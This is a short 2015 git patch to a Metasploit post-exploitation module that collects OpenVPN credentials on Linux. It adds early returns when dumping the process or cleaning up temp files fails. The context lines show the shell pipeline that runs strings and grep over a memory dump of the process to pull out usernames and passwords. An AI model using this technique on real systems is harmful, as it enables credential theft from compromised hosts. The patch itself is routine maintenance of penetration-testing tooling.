From f69e7c0fb349d20feaad3fa9e23a75fcf3f22594 Mon Sep 17 00:00:00 2001 From: Roberto Soares Date: Tue, 17 Nov 2015 00:49:04 -0200 Subject: [PATCH] Fix condition --- modules/post/linux/gather/openvpn_credentials.rb | 2 ++ 1 file changed, 2 insertions(+) diff --git a/modules/post/linux/gather/openvpn_credentials.rb b/modules/post/linux/gather/openvpn_credentials.rb index 58d18cd06b..8fe1b7d965 100644 --- a/modules/post/linux/gather/openvpn_credentials.rb +++ b/modules/post/linux/gather/openvpn_credentials.rb @@ -62,6 +62,7 @@ class Metasploit4 < Msf::Post vprint_good('Succesfully dump.') else print_warning('Could not dump process.') + return end strings = cmd_exec("/usr/bin/strings #{tmp_path}*.dump | /bin/grep -B2 KnOQ | /bin/grep -v KnOQ | /usr/bin/column | /usr/bin/awk '{print \"User: \"$1\"\\nPass: \"$2}'") @@ -71,6 +72,7 @@ class Metasploit4 < Msf::Post vprint_good('Removing temp files successfully.') else print_warning('Could not remove dumped files.') + return end fail_with(Failure::BadConfig, 'No credentials. You can check if the PID is correct.') if strings.empty?